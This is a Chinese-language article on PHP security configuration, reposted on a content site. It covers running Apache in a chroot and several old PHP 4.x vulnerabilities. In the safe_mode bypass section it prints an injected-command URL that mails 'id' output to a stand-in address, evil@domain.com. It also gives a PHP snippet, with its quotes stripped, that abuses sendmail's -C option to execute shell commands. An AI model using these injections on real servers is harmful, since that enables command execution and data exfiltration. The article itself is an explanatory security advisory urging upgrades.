PHP安全配置之实现安全的两个重点

Watch高端会所

Watch高端会所

2016-01-29 13:26

PHP安全配置之实现安全的两个重点,PHP安全配置之实现安全的两个重点

一、Web服务器安全

  PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
  都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

  二、PHP本身问题

  1、远程溢出

  PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高.

  2、远程拒绝服务

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

  3、safe_mode绕过漏洞

  还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

  执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

  这将id执行的结果发送给evil@domain.com。

  对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

  #注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样:

$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?>
  还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/php/)
展开更多 50%)
分享

猜你喜欢

PHP安全配置之实现安全的两个重点

PHP
PHP安全配置之实现安全的两个重点

PHP安全配置

PHP
PHP安全配置

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

PHP安全配置(1)

PHP
PHP安全配置(1)

PHP安全配置(2)

PHP
PHP安全配置(2)

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

PHP安全配置(3)

PHP
PHP安全配置(3)

PHP安全配置(4)

PHP
PHP安全配置(4)

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

Flash MX 2004 ActionScript图文教程(九)

Flash MX 2004 ActionScript图文教程(九)

C#陷阱int i = 10; i += i++; i =

C#陷阱int i = 10; i += i++; i =
下拉加载更多内容 ↓